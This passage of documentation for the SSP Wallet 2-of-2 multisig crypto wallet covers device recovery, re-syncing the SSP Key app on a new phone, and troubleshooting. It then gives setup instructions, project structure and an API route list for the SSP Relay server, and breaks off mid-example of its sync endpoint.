3. Re-sync the restored SSP Key with your SSP Wallet (scan the QR code in the wallet, or paste the extended public key). For the full step-by-step, see [Got a New Phone? Re-sync SSP Key with SSP Wallet](/docs/troubleshooting-and-support/resync-ssp-key-new-phone) — it also covers re-syncing each additional chain. For the screenshot walkthrough, see [Restore Key Using Seed Phrase and Syncing to SSP Wallet](/docs/getting-started-with-ssp-key/restore-key-using-seed-phrase-and-syncing-to-ssp-wallet).

Because the restored key is derived from the **same seed phrase**, it produces the **same public key** — so your multisig addresses stay exactly the same. Your funds were never on the phone; they remain on-chain and become spendable again as soon as both devices are back in sync.

## Replacing a browser or computer (SSP Wallet)

If you reset your browser, switched computers, or lost access to the extension but still have your **wallet seed phrase**:

1. Install the **SSP Wallet** browser extension on the new browser ([download page](https://sspwallet.io/download)).
2. Choose **Forgot Password? Restore**, enter your backed-up **wallet seed phrase**, and set a new password. See [Restore Wallet Using Seed Phrase](/docs/getting-started-with-ssp-wallet/wallet/quickstart-2).
3. Re-sync with your SSP Key (scan the QR code, or input the SSP Key extended public key).

As with the key, the restored wallet derives the **same** first key from the same seed, so all addresses match and balances reappear after syncing.

## If you've lost one seed phrase (but both devices still work) — act now

This is the time-sensitive case. Because **both devices still work**, both keys can still sign, so **you can still move funds right now**. The problem is that the key whose seed you lost no longer has a backup: if that device is ever wiped, updated badly, or breaks, that key is gone — and a 2-of-2 with only one surviving key can **never sign again**.

So while both devices are still working, migrate everything to a freshly backed-up wallet:

1. **Create a brand-new SSP Wallet + SSP Key** with two new seed phrases, and back up **both** — stored separately.
2. **Move all funds** from the old wallet to the new one. You can still sign because both old devices work.
3. **Stop using the old wallet** and continue on the new, fully-backed-up one.

{% hint style="warning" %}
Don't wait. The same urgency applies if you've lost **both** seed backups but your devices still work. The moment an un-backed-up device fails, that key is unrecoverable and its funds are frozen for good.
{% endhint %}

## If you've lost an entire key (a device and its seed)

If one key is gone with **no** backup — for example your phone is lost or broken **and** its **key** seed phrase was never saved (or was also lost) — then you hold only **one** of the two keys SSP requires. Every transaction needs both, so the funds on that wallet **can no longer be moved**. The same is true if **both** seed phrases are lost.

There is no workaround: SSP is a true 2-of-2 with no third key and no recovery service — the SSP Relay never holds your keys or seeds. This is exactly why you must back up **both** seed phrases, separately, the moment you set up your wallet.

## Best practices to avoid lockout

* **Back up both seed phrases** the moment you create the wallet and the key — write them down offline.
* **Store the two phrases separately** (different physical locations), so a single incident can't take out both.
* **Never** store a seed phrase as a screenshot, in cloud notes, or in a password field synced across devices.
* **Test your restore** with a small amount before relying on it for large holdings.
* Keep both apps updated, and keep device passwords/PINs and biometrics enabled.

## Enterprise: replacing a vault signer

For **SSP Enterprise** vaults, recovery for an **individual signer** works the same way: that signer restores their SSP Wallet and SSP Key from **their own** seed phrases on new devices, and their access — and ability to sign — returns automatically, because their identity is derived from their seeds, not from the specific hardware.

What is **different** for enterprise is changing **who** is on a vault:

{% hint style="warning" %}
A vault's **signer set and threshold are fixed at creation** and cannot be edited afterwards (see [Creating Multisig Vaults](/docs/ssp-enterprise/creating-vaults#critical-signers-and-threshold-are-permanent)). There is no in-place "rotate signer" operation that swaps one signer's keys for another's on an existing vault.
{% endhint %}

So if a signer leaves the organization, or you need to permanently replace one person on a vault (rather than just help an existing signer onto new devices), the supported path is:

1. **Create a new vault** on the same chain with the new signer set and threshold.
2. **Migrate funds** from the old vault to the new one using the old vault's current signers.
3. Retire the old vault.

Removing a member from the organization revokes their access to the SSP Enterprise interface, but does **not** remove them from a vault's on-chain multisig — the signer set was finalized when the vault was created. For sensitive departures, plan to migrate to a new vault that excludes that person. See [Inviting Team Members & Roles](/docs/ssp-enterprise/inviting-members#removing-members) for the member-removal details.

## Related pages

* [Got a New Phone? Re-sync SSP Key with SSP Wallet](/docs/troubleshooting-and-support/resync-ssp-key-new-phone)
* [Restore Wallet Using Seed Phrase](/docs/getting-started-with-ssp-wallet/wallet/quickstart-2)
* [Restore Key Using Seed Phrase and Syncing to SSP Wallet](/docs/getting-started-with-ssp-key/restore-key-using-seed-phrase-and-syncing-to-ssp-wallet)
* [Security Overview](/docs/security-and-best-practices/security-overview)
* [Device Security Guidelines](/docs/security-and-best-practices/device-security)
* [Common Issues & Solutions](/docs/troubleshooting-and-support/common-issues)
* [Creating Multisig Vaults](/docs/ssp-enterprise/creating-vaults)


# Got a New Phone? Re-sync SSP Key

{% hint style="info" %}
**Your funds are safe and nothing needs to be recreated.** Your coins live on the blockchain, not on your phone. As long as you have your **SSP Key seed phrase**, you can install SSP Key on the new phone, restore it, and re-pair it with your existing SSP Wallet. Your addresses and balances stay exactly the same.
{% endhint %}

This guide is for the common case: **you replaced your phone** (lost, broken, or upgraded), you still use the **same SSP Wallet browser extension** on your computer, and you have your **SSP Key recovery seed phrase** backed up. By the end, your new phone will sign transactions again, just like the old one.

If you have lost a seed phrase, or also need to restore the browser wallet, start with [Lost or Replaced a Device?](/docs/troubleshooting-and-support/lost-or-replaced-device) instead.

## Before you start

You will need:

* ✅ Your backed-up **SSP Key seed phrase** — the mobile key's own phrase. **This is different from your SSP Wallet seed phrase.**
* ✅ Your **existing SSP Wallet** browser extension, installed and unlockable, with your **wallet password**.
* ✅ **Both devices online** — re-pairing is coordinated through the SSP Relay over the internet.
* ✅ **Camera access** on the new phone (to scan the wallet's QR code).
* ✅ A list of **which chains you use** (Bitcoin, Ethereum, Solana, Flux, etc.) — re-syncing is done **per chain**.

## How this works (and why it's safe)

SSP is a **2-of-2 multisignature** wallet: the **SSP Wallet** browser extension holds the first key and the **SSP Key** mobile app holds the second. Every address is derived deterministically from **both** keys' public keys.

Three things make a new-phone re-sync safe and simple:

* **Same seed → same key → same addresses.** Restoring SSP Key from the same seed phrase reproduces the identical key, so all your multisig addresses — and the funds on them — are unchanged.
* **Your wallet already knows your key.** The browser extension still has your SSP Key's public key stored, so your balances are visible the whole time and the wallet **does not need to be restored or recreated**.
* **Re-pairing only re-shares public data.** The handshake exchanges public keys (never seed phrases or private keys) so the new phone can rebuild the same multisig and sign again.

{% hint style="warning" %}
Because the wallet already has your key on file, it **will not pop up a sync prompt by itself** after you restore the phone. You re-share the sync QR manually from the wallet's Menu tab — see Step 2. This is expected, not a sign that something is wrong.
{% endhint %}

## Step 1 — Install and restore SSP Key on the new phone

1. Install **SSP Key** from the official store and open it:
   * iOS: [App Store](https://apps.apple.com/us/app/ssp-key/id6463717332)
   * Android: [Google Play](https://play.google.com/store/apps/details?id=io.runonflux.sspkey)
2. On the welcome screen, tap **Restore Key**. (Do **not** tap "Synchronise Key!" — that generates a brand-new key.)
3. In **Input your Mnemonic Key Seed Phrase**, enter your backed-up **SSP Key** seed phrase, then set and confirm a new app password under **Set SSP Key Password** / **Confirm Key Password**. Tap **Import Key**.
4. Tap **Show Mnemonic Key Seed Phrase** to reveal the phrase, confirm your backup is correct, toggle **I have backed up my keys seed phrase in a secure location.**, then tap **Setup Key!**

{% hint style="danger" %}
**Restore with the SSP Key seed phrase — never the SSP Wallet seed phrase.** The two are different. Entering the wrong phrase produces a different key, the addresses won't match your wallet, and the new phone won't be able to co-sign. (Your funds are not lost — they stay under the original keys — but you'd need to restore again with the correct SSP Key phrase.)
{% endhint %}

After setup, SSP Key opens the **Home** screen and automatically shows a **Synchronisation Needed** prompt — that's your cue to move to Step 2.

For the full screenshot-by-screenshot version of this restore flow, see [Restore Key Using Seed Phrase and Syncing to SSP Wallet](/docs/getting-started-with-ssp-key/restore-key-using-seed-phrase-and-syncing-to-ssp-wallet).

## Step 2 — Re-pair with your SSP Wallet (Bitcoin / identity)

This first pairing restores your core identity and your Bitcoin chain.

1. On your computer, open the **SSP Wallet** browser extension and **unlock** it with your wallet password.
2. Open the **Menu** tab (the ☰ icon in the bottom bar) and click **SSP Wallet Details**.
3. In **Confirm with Password**, enter your wallet password and click **Grant Access**.
4. Scroll to the **SSP Sync with SSP Key** section and click the **eye / unhide icon** to reveal its **QR code**. (This section also syncs your Bitcoin chain automatically.)
5. On the new phone, in the **Synchronisation Needed** prompt, tap **Scan Code** and scan the QR shown in the wallet. (Grant camera permission if asked.)
6. SSP Key shows a **Synchronisation Request** — **slide to approve**, then confirm with your key password or biometrics.
7. Both devices then display the same **6-word verification code** — scan the wallet's verification QR with the Key (**Scan wallet to verify**) or compare the words. **They must match**; if they differ, stop and re-pair. See [Pairing Verification Code](/docs/getting-started-with-ssp-key/pairing-verification-code).

{% hint style="info" %}
**Can't scan the QR?** In SSP Key tap **Manual Input** instead and paste the wallet's extended public key. Make sure both the phone and the extension have an internet connection — re-pairing is coordinated through the SSP Relay.
{% endhint %}

## Step 3 — Re-sync your other chains

{% hint style="warning" %}
**Re-syncing is per chain.** Step 2 restores your identity and **Bitcoin** only. Every **other** chain you use (each EVM chain, Solana, Flux, other UTXO coins, etc.) must be re-synced individually, or that chain won't be signable on the new phone.
{% endhint %}

For **each** additional chain you use:

1. In SSP Wallet, switch the **active chain** (tap the wallet & chain pill and pick the chain in the Networks section).
2. With both apps on v2, the wallet can send a **one-tap Chain Activation Request** straight to the phone — review and slide to approve on the Key. Otherwise, open **Menu → SSP Wallet Details** and reveal the **`<chain>` Sync with SSP Key** section to show that chain's QR code.
3. If using the QR: on the phone, tap **Scan Code**, scan it, and slide to approve.
4. Compare the **verification code** shown on both devices after each sync.

Repeat until every chain you actively use has been re-synced and approved.

## Step 4 — Verify everything matches

1. After each approval, SSP Key shows **Synchronisation Successful!** with the generated address. **Confirm this address matches the one shown for the same chain in your SSP Wallet.** A match means the correct key was restored and paired.
2. Back in SSP Wallet, confirm your balances are visible (they should never have disappeared).
3. As a final check, **send a small test transaction** and approve it on the new phone. If it signs and broadcasts, your 2-of-2 is fully restored.

{% hint style="success" %}
Once verified, you're done — the new phone behaves exactly like the old one. There is nothing to migrate and no new addresses to share with anyone.
{% endhint %}

## Troubleshooting

| Symptom                                                                 | What it means / what to do                                                                                                                                                                             |
| ----------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| The wallet never prompted me to re-sync                                 | Expected. The wallet already has your key stored, so it won't prompt. Re-share the QR manually via **Menu → SSP Wallet Details** (Step 2).                                                             |
| One chain works but another says it needs syncing or can't sign         | You haven't re-synced that chain yet. Repeat Step 3 for it. Re-sync is **per chain**.                                                                                                                  |
| The address on **Synchronisation Successful!** doesn't match the wallet | You restored SSP Key with the **wrong seed** (often the wallet seed instead of the key seed). Restore SSP Key again using the correct **SSP Key** phrase. Funds are not lost.                          |
| New phone doesn't receive transaction requests / no push notifications  | Re-pairing re-registers the phone for push. Make sure notifications are allowed for SSP Key and reopen the app to reconnect; requests sent while the app was fully closed may not have pushed.         |
| "Synchronisation failed. Try again later."                              | One of the devices is offline, or the pairing window timed out. Put both devices online and re-reveal the QR — the sync data is short-lived, so don't leave it sitting between scanning and approving. |
| The QR code won't scan                                                  | Grant camera permission (iOS: **Settings → Apps → SSP Key → Camera**), improve lighting, or use **Manual Input** to paste the extended public key.                                                     |

## SSP Enterprise vaults

If you sign for **SSP Enterprise** vaults, re-pairing above restores your normal signing. For EVM vaults you also need to refresh your signing nonces on the new phone — open **SSP Enterprise → Profile → Sync Nonces** and approve the **Nonce Sync Request** that appears in SSP Key (it moves **no funds**). Full steps: [Re-syncing Enterprise Signing Nonces](/docs/ssp-enterprise/resyncing-signing-nonces).

Note that a vault's **signer set is fixed at creation**: restoring your own devices from your own seeds returns your access automatically, but you cannot swap one signer for another on an existing vault. See the [enterprise section of Lost or Replaced a Device?](/docs/troubleshooting-and-support/lost-or-replaced-device#enterprise-replacing-a-vault-signer) for details.

## Related pages

* [Lost or Replaced a Device?](/docs/troubleshooting-and-support/lost-or-replaced-device)
* [Restore Key Using Seed Phrase and Syncing to SSP Wallet](/docs/getting-started-with-ssp-key/restore-key-using-seed-phrase-and-syncing-to-ssp-wallet)
* [Retrieving Your SSP Key Seed Phrase](/docs/getting-started-with-ssp-key/retrieving-your-ssp-key-seed-phrase)
* [Common Issues & Solutions](/docs/troubleshooting-and-support/common-issues)
* [Security Overview](/docs/security-and-best-practices/security-overview)


# Common Issues & Solutions

## Overview

This guide covers frequently encountered issues with SSP Wallet based on actual user experiences and known technical limitations. All solutions are based on SSP's actual implementation.

## ⬆️ Upgrading to v2.0.0

### Question: "Will updating to v2 make me re-pair or restore my wallet?"

**No.** Updating SSP Wallet or SSP Key to v2.0.0 in place keeps your wallet, password, pairing, settings, and history exactly as they were. You never need to re-pair or restore from seed because of the update. See [What's New in SSP v2.0.0](/docs/whats-new-v2).

### Question: "Do I have to update both apps at the same time?"

**No.** Update in any order — SSP Wallet v2 works with SSP Key v1 and vice versa. Multi-chain **batch sync** and the **pairing verification code** activate once both apps are on v2; until then, chains sync one at a time exactly as before.

### Question: "Where did the Settings menu go?"

Settings became the **Menu** tab — the ☰ icon in the bottom bar. Everything from the old menus is there: language, currency, theme, change password, network configuration, WalletConnect, Address Details, SSP Wallet Details, message signing, and the tutorial. See [Navigating SSP Wallet](/docs/getting-started-with-ssp-wallet/navigating-ssp-wallet).

### Problem: "The verification words on my two devices don't match"

**Stop — do not use that pairing.** After every sync, both devices derive a 6-word verification code from the synced keys; a mismatch means the sync must not be trusted. Choose **"They don't match"** in the wallet and re-pair. If it repeats, report it. Details: [Pairing Verification Code](/docs/getting-started-with-ssp-key/pairing-verification-code).

## 🔄 Device Synchronization Issues

### Problem: "Cannot sync SSP Wallet and SSP Key"

**SSP's 2-of-2 Architecture Requirements:**

* Browser extension (SSP Wallet) must sync with mobile app (SSP Key)
* Both devices need public key exchange to generate multisig addresses
* Synchronization can be done via QR code or manual input

**Solutions:**

#### **One-Tap Sync (both apps on v2)**

1. **SSP Wallet**: Request the sync (pairing screen or chain activation) — the request is delivered to your paired SSP Key through the relay
2. **SSP Key**: Review the request and slide to approve — a batch request activates several chains with one approval
3. **Verify**: Both devices show the same 6-word verification code and the same wallet addresses

#### **QR Code Sync Method**

1. **SSP Wallet**: Display QR code during sync process
2. **SSP Key**: Use "Scan Code" to scan the QR code
3. **Verify**: Both devices show the same verification code (v2) and same wallet addresses after sync

#### **Manual Input Method**

1. **SSP Wallet**: Open the chain's **Sync with SSP Key** view (in SSP Wallet Details) and copy the sync data — it has the form `chain:xpub` (the same value encoded in the sync QR code).
2. **SSP Key**: On the sync screen, tap **Manual Input** and paste the copied wallet sync data (or use **Scan Code** to scan the wallet's QR instead).
3. The SSP Key builds the 2-of-2 multisig from the wallet's key and posts its own public key back through the relay; the SSP Wallet completes the sync automatically once it verifies the derived address matches.
4. **Verify** both devices show the same addresses. Repeat per chain if any chain is out of sync. (Sync data always flows Wallet → Key; there is no "Export Public Key" option in SSP Key.)

### Problem: "Addresses don't match between devices"

**Root Cause**: Incomplete or failed synchronization

**Solution:**

1. Verify both devices completed sync process
2. Check that both devices show "Connected" or "Synced" status
3. If addresses differ, repeat synchronization process
4. Ensure you're viewing the same blockchain network on both devices

## 🔑 Authentication Issues

### Problem: "Cannot unlock SSP Wallet"

**Password Recovery:**

1. Click "Restore Wallet" option
2. Enter your 24-word seed phrase
3. Set new password
4. Re-sync with SSP Key

### Problem: "Cannot unlock SSP Key"

**PIN/Biometric Recovery:**

* If PIN forgotten: Use seed phrase to restore SSP Key on same or new device
* If biometric fails: Use PIN as fallback
* Complete recovery: Uninstall/reinstall app and restore from seed phrase

## 💸 Transaction Issues

### Problem: "Transaction not completing"

**SSP's 2-of-2 Requirement:**

* Every transaction needs approval from BOTH devices
* SSP Wallet initiates transaction
* SSP Key must approve transaction
* Both signatures required for blockchain broadcast

**Solutions:**

1. Ensure both devices are online and synced
2. Check that SSP Key receives transaction notification
3. Approve transaction on SSP Key mobile app
4. Wait for blockchain confirmation (varies by network)

### Problem: "Transaction stuck or pending"

**Blockchain-Level Issues:**

* Bitcoin: Transaction may be waiting in mempool
* Ethereum: May need higher gas fee for faster confirmation
* Network congestion can delay confirmations

**Solutions:**

1. Wait for network confirmation (can take minutes to hours)
2. Check transaction status on blockchain explorer
3. For Ethereum: Some wallets support transaction speed-up (if implemented)

## 📱 Mobile App Issues

### Problem: "SSP Key app crashes"

**Basic Solutions:**

1. Force close app and restart
2. Restart mobile device
3. Update to latest version from app store
4. If persistent: Uninstall, reinstall, restore from seed

### Problem: "Not receiving transaction notifications"

**Notification Settings:**

1. Enable notifications for SSP Key in device settings
2. Ensure app has permission to send notifications
3. Check that device is not in Do Not Disturb mode

## 💻 Browser Extension Issues

### Problem: "SSP Wallet extension not working"

**Browser Extension Solutions:**

1. Check extension is enabled in browser settings
2. Update to latest version
3. Try disabling other extensions temporarily
4. Clear browser cache and cookies
5. If corrupted: Remove extension, reinstall, restore from seed

### Problem: "Extension data lost"

**Recovery Process:**

1. Click "Restore Wallet" in extension
2. Enter 24-word seed phrase
3. Set new password
4. Re-sync with SSP Key mobile app

## 🌐 Network Issues

### Problem: "Cannot connect to blockchain networks"

**Network Connectivity:**

* SSP Wallet connects to blockchain RPC endpoints
* Some networks may have intermittent connectivity
* Corporate firewalls may block blockchain connections

**Solutions:**

1. Check internet connection
2. Try different network (mobile data vs WiFi)
3. Contact IT department if using corporate network
4. Wait and retry if blockchain network is experiencing issues

## 🔧 Recovery Scenarios

### Device Loss Recovery

**Lost Computer (SSP Wallet):**

1. Install SSP Wallet on new computer/browser
2. Restore using wallet seed phrase
3. Re-sync with existing SSP Key

**Lost Mobile Device (SSP Key):**

1. Install SSP Key on new mobile device
2. Restore using SSP Key seed phrase
3. Re-sync with existing SSP Wallet

**Lost Both Devices:**

1. Need BOTH seed phrases for complete recovery
2. Install SSP Wallet and restore with wallet seed phrase
3. Install SSP Key and restore with key seed phrase
4. Sync both restored devices

### Important Recovery Notes

* Each device has its own seed phrase
* Both seed phrases needed for full wallet recovery
* Cannot recover if either seed phrase is lost
* Test recovery process with small amounts

## 📞 Getting Help

### Official Support Channels

**Primary Support:**

* **Support Center**: [sspwallet.io/support](https://sspwallet.io/support) - FAQ and guides
* **Support Tickets**: [support.runonflux.io](https://support.runonflux.io) - Direct support
* **Contact Form**: [sspwallet.io/contact](https://sspwallet.io/contact) - Message support team

**Community Support:**

* **Discord**: [discord.gg/runonflux](https://discord.gg/runonflux) - Community help
* **GitHub Issues**: [github.com/RunOnFlux/ssp-wallet/issues](https://github.com/RunOnFlux/ssp-wallet/issues) - Bug reports

### Before Contacting Support

**Gather This Information:**

* Device types and operating system versions
* SSP Wallet and SSP Key version numbers
* Browser type and version (for SSP Wallet)
* Exact error messages or screenshots
* Steps you took before the issue occurred

### Security Issues

* **Report via**: [GitHub Security](https://github.com/RunOnFlux/ssp-wallet/security)
* **Critical Issues**: Use GitHub's security advisory feature

## Prevention Best Practices

### Regular Maintenance

* Keep both apps updated to latest versions
* Verify seed phrase backups are secure and accessible
* Test sync functionality periodically
* Keep devices charged during transaction operations

### Security Best Practices

* Store seed phrases securely offline (paper, never digital)
* Use strong passwords/PINs on both devices
* Never share seed phrases with anyone
* Always verify transaction details before approving

***

**Note**: This guide focuses on issues specific to SSP Wallet's 2-of-2 multisignature architecture. For general cryptocurrency or blockchain issues, consult respective network documentation.


# Overview

**SSP Relay** is the communication backbone of the [**SSP Wallet**](https://sspwallet.io/) ecosystem, enabling seamless interaction between **SSP Wallet** and **SSP Key**. By acting as a secure relay server, it facilitates synchronization, multisignature transaction management, and reliable communication without ever compromising private keys or sensitive data.

#### Key Features

* **Secure Communication**: Ensures encrypted and authenticated data transfer between SSP Wallet and SSP Key.
* **Multisignature Support**: Powers the **2-of-2 multisignature architecture**, enhancing the security of user transactions.
* **True Self-Custody**: Operates without storing or accessing private keys, maintaining the user's self-custody.
* **Scalable and Reliable**: Built with modern technologies to handle large-scale usage efficiently.


# Environment Requirements

To run SSP Relay, please ensure your environment meets the following requirements

* **Node.js**: Version 20 or higher
* **MongoDB**: A running MongoDB instance for data storage and process

{% hint style="info" %}
To download NodeJS please follow this link:

<https://nodejs.org/en/download>

To download MongoDB please follow this link: <https://www.mongodb.com/try/download/community>
{% endhint %}

{% hint style="info" %}
Please make sure to download the packages and installer for your OS and use their corresponding installation guide. Installing these apps may vary based on your OS.

For NodeJS the installation guide is available on this link: <https://nodejs.org/en/download>

For MongoDB the installation guide is available on this link: <https://www.mongodb.com/docs/manual/installation/>
{% endhint %}

{% hint style="info" %}
Please make sure you have a running and working instance of MongoDB as it is needed on running the SSP Relay server. All connection details must be configured properly in the corresponding configuration file.
{% endhint %}


# Project Installation

1. **Clone the SSP Relay Repository**

{% hint style="info" %}
Before cloning the repository, please make sure you have git installed in your local environment.

If you don't have git on your local machine please follow the link: <https://git-scm.com/>

Please use the installer and installation guide for your OS.
{% endhint %}

Open a terminal and run the following commands

<pre><code><strong>mkdir ssp-relay
</strong><strong>cd ssp-relay
</strong><strong>git clone https://github.com/RunOnFlux/ssp-relay.git
</strong></code></pre>

2. **Install SSP Relay Dependencies**

In installing the project dependencies you may use yarn

{% hint style="info" %}
For installing yarn you must follow this guide: <https://classic.yarnpkg.com/lang/en/docs/install>
{% endhint %}

Open a terminal and run the following command to install SSP Relay dependencies

```
yarn install
```

3. Start the Service

Open a terminal and run the following command to start SSP Relay server

```
yarn start
```

{% hint style="info" %}
By default, the SSP Relay services runs at **<http://127.0.0.1:9876>**, alternatively **<http://localhost:9876>**
{% endhint %}

**Running Test Cases**

To run SSP Relay test cases, open a terminal and run the following command

```
yarn test
```


# Project Structure Overview

Project structure of SSP Relay consist of different folders and files which has different target purpose.

The following are the folders inside the SSP Relay

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2F8mrmxQCOjvV7KkCkoucE%2Fimage.png?alt=media&amp;token=0ebf719c-c8fb-4e65-80f4-bd95bd12ff7e" alt=""><figcaption></figcaption></figure></div>

<table><thead><tr><th>Folder Name</th><th width="568">Description</th></tr></thead><tbody><tr><td>config</td><td>A folder that contains all the configuration and secrets needed by SSP Relay during runtime</td></tr><tr><td>helpers</td><td>A folder that contains all action helpers of SSP Relay</td></tr><tr><td>helpers</td><td>A folder that contains all action helpers of SSP Relay</td></tr><tr><td>logs</td><td>A folder being use as a location for generated logs by SSP Relay during runtime</td></tr><tr><td>src</td><td>A folder that contains all the API services used for SSP Relay</td></tr><tr><td>tests</td><td>A folder that contains all the test suites of the api services and services represented by spec files</td></tr></tbody></table>

The following are the files being used by SSP Relay before and during runtime

<table><thead><tr><th width="191">File Name</th><th>Description</th></tr></thead><tbody><tr><td>.editorconfig</td><td>A file that declares formatting</td></tr><tr><td>.gitignore</td><td>A file that declares extension and folders to be ignored when committing to repository</td></tr><tr><td>.prettierrc</td><td>A file that declares pretty formatting</td></tr><tr><td>backup.ts</td><td>A file that contains code for backup and cleanup</td></tr><tr><td>eslint.config.js</td><td>A file that contains config for SSP Relay project JS and TS resources</td></tr><tr><td>index.ts</td><td>A file that contains server startup</td></tr><tr><td>package.json</td><td>A file that contains SSP Relay project dependencies</td></tr><tr><td>tsconfig.json</td><td>A file that contains TS functionalities and its restrictions</td></tr></tbody></table>


# Project Folders

Project Folder Sections

* Config
* Helpers
* Logs
* Src
* Tests


# Config

A folder that contains all the configuration and secrets needed by SSP Relay during runtime

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FJOBRCB6eYLr09IcARg2T%2Fimage.png?alt=media&amp;token=3bd787f1-0007-4e10-8f05-02d095bcc095" alt="" width="233"><figcaption></figcaption></figure></div>

The following files are inside the config folder

<table><thead><tr><th width="231">File Name</th><th>Description</th></tr></thead><tbody><tr><td>alchemysecrets.ts</td><td>A file being used for Alchemy credentials</td></tr><tr><td>apisecrets.ts</td><td>A file being used for cmc credentials</td></tr><tr><td>dbsecrets.ts</td><td>A file being used for SSP Relay DB credentials</td></tr><tr><td>default.ts</td><td>A file being used for default credentials</td></tr><tr><td>freshdesksecrets.ts</td><td>A file being used for fresh desk credentials</td></tr><tr><td>serviceAccountKey.json</td><td>A file being used for cloud services credentials</td></tr></tbody></table>


# Helpers

A folder that contains all action helpers needed by SSP Relay during runtime

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2F6GM2t5pGXLAeFSrXfv8K%2Fimage.png?alt=media&amp;token=12e00255-6e69-4733-8e18-b08b2ab1d611" alt="" width="237"><figcaption></figcaption></figure></div>

The following files are inside the helper folder

<table><thead><tr><th width="240">File Name</th><th>Description</th></tr></thead><tbody><tr><td>getActionManual.ts</td><td>A file that contains get testkappab action</td></tr><tr><td>getSyncManual.ts</td><td>A file that contains get testkappa sync</td></tr><tr><td>postActionManual.ts</td><td>A file that contains post testkappab action</td></tr><tr><td>postSyncManual.ts</td><td>A file that contains post testkappa sync</td></tr></tbody></table>


# Logs

A folder that contains all log files for SSP Relay

{% hint style="info" %}
All log files will be available once SSP Relay starts
{% endhint %}

<table><thead><tr><th width="255">File Name</th><th>Description</th></tr></thead><tbody><tr><td>debug.log</td><td>A file that contains logs of debug log level</td></tr><tr><td>error.log</td><td>A file that contains logs of error log level</td></tr><tr><td>info.log</td><td>A file that contains logs of info log level</td></tr></tbody></table>


# Src

A folder that contains all src services needed by SSP Relay during runtime

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2F6nZJ5PhEuxiXgRaIit71%2Fimage.png?alt=media&amp;token=5ef20970-b0b3-4039-aba1-393e5157691a" alt="" width="237"><figcaption></figcaption></figure></div>

The following folder and files are inside the src folder

<table><thead><tr><th width="245">Folder Name / File Name</th><th>Description</th></tr></thead><tbody><tr><td>apiServices</td><td>A folder that contains API interface to endpoints</td></tr><tr><td>lib</td><td>A folder that contains SSP Relay environment</td></tr><tr><td>services</td><td>A folder that contains all services being utilised by SSP Relay</td></tr><tr><td>routes.ts</td><td>A file that contains all endpoints of SSP Relay</td></tr></tbody></table>


# apiServices

The following files are inside the apiServices folder

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FyiIDfvDS5bSAkncflSUW%2Fimage.png?alt=media&amp;token=0671d9c5-3333-4b1f-aaba-10e7ed7034fa" alt="" width="243"><figcaption></figcaption></figure></div>

<table><thead><tr><th>File Name</th><th width="527">Description</th></tr></thead><tbody><tr><td>actionApi.ts</td><td>A file used as interface for action service</td></tr><tr><td>ratesApi.ts</td><td>A file used as interface for rates service</td></tr><tr><td>syncApi.ts</td><td>A file used as interface for sync service</td></tr><tr><td>ticketsApi.ts</td><td>A file used as interface for ticket service</td></tr><tr><td>tokenApi.ts</td><td>A file used as interface for token service</td></tr></tbody></table>


# lib

The following files are inside the lib folder

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2Fnnh4EqPzHpZcH8sLzgLE%2Fimage.png?alt=media&amp;token=417b8466-fabf-4679-a6d7-fdc664c94647" alt="" width="171"><figcaption></figcaption></figure></div>

<table><thead><tr><th width="181">File Name</th><th>Description</th></tr></thead><tbody><tr><td>logs.ts</td><td>A file contains functionalities for logging</td></tr><tr><td>server.ts</td><td>A file contains server definition</td></tr><tr><td>socket.ts</td><td>A file contains functionalities for key and wallet</td></tr></tbody></table>


# services

The following files are inside the services folder

<div align="left"><figure><img src="https://2029399859-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOLYjN2kelo3HWVPLgZVU%2Fuploads%2FWtQ8NzqIwZKzK2GSC1ll%2Fimage.png?alt=media&amp;token=3958c2b5-acd4-4902-bb30-04bc53c68566" alt="" width="320"><figcaption></figcaption></figure></div>

<table><thead><tr><th width="293">File Name</th><th>Description</th></tr></thead><tbody><tr><td>actionService.ts</td><td>A file that contains functionalities for get and post actions</td></tr><tr><td>blockchain.ts</td><td>A file that contains blockchain information</td></tr><tr><td>databaseIndexCreationService.ts</td><td>A file that being used to create database indexes</td></tr><tr><td>networkFeeService.ts</td><td>A file that contains network fee calculation</td></tr><tr><td>notificationService.ts</td><td>A file being used for sending notification</td></tr><tr><td>ratesService.ts</td><td>A file being used to fetch crypto and fiat rates</td></tr><tr><td>serviceHelper.ts</td><td>A file that contains helper functions</td></tr><tr><td>socketService.ts</td><td>A file being used for socket actions</td></tr><tr><td>syncService.ts</td><td>A file being used for get and post sync</td></tr><tr><td>ticketService.ts</td><td>A file being used for creating tickets</td></tr><tr><td>tokenServices.ts</td><td>A file being used for alchemy token integration</td></tr><tr><td>tokens.ts</td><td>A file that contains token information</td></tr><tr><td>transactionDecoder.ts</td><td>A file being used to decode transactions</td></tr></tbody></table>


# routes.ts

An overview of routes.ts endpoints

* GET /v1/sync
* GET /v1/action
* POST /v1/sync
* POST /v1/token
* POST /v1/action
* GET /v1/rates
* GET /v1/networkfees
* POST /v1/ticket
* GET /v1/tokeninfo
* GET /v1/services
* POST /v1/sign


# GET /v1/sync

Retrieve sync data using wallet identity id

<mark style="color:green;">`GET`</mark> **/v1/sync/{id}**

**Path Params**

| Name | Value                     |
| ---- | ------------------------- |
| id   | walletIdentity to be sync |

**Request**

{% tabs %}
{% tab title="Curl" %}

<pre class="language-url"><code class="lang-url"><strong>curl --location 'https://relay.sspwallet.io/v1/sync/1Kys4uBjfqcb3DrtkAs8Gc8YXEmDmeFESd'
</strong></code></pre>

{% endtab %}
